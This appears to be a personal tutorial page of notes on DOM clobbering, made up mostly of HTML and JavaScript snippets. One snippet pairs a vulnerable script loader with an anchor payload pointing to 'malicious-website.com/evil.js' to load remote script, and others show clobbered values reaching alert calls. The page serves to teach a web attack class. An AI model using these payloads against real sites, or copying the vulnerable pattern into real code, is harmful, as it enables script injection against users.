rootđź’€senseicat:~#

Hack. Eat. Sleep. Repeat!!!


Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

Dom Clobbering


Document Object Model


<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>DOM tree structure</title>
  </head>
  <body>
    <h1>DOM tree structure</h1>
 <h2>Learn about the DOM</h2>
  </body>
</html>

HTML Collection



DOM CLobbering


var someObject = window.someObject || {};
<script>
    window.onload = function(){
        let someObject = window.someObject || {};
        let script = document.createElement('script');
        script.src = someObject.url;
        document.body.appendChild(script);
    };
</script>
<a id=someObject><a id=someObject name=url href=//malicious-website.com/evil.js> 

Basics


<form id="x"></form>
<script>
  console.log(typeof document.x) //[object HTMLFormElement]
</script>
embed
form
iframe
image
img
object
<a href="controlled string" id="x"></a>
<script>
  console.log(x) //controlled string
</script>
<a id=x>
  <a id =x name=y href=controlled>
  </a>
</a>
<form id="x" name="y"><input id="z" value="controlled" /></form>
<form id="x"></form>
<script>
  alert(x.y.z.value) //controlled
</script>
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
<style>
  @import "https://google.com";
</style>
<script>
  alert(x.y) //controlled
</script>

Youtube Video(Ruhrsec 2023)



Why does DOM Clobbering happen?


document.querySelector("[id=Y]");
document.X.Y, or window.Y

Clobbering Markups and Browser Behaviours


top.location = self.location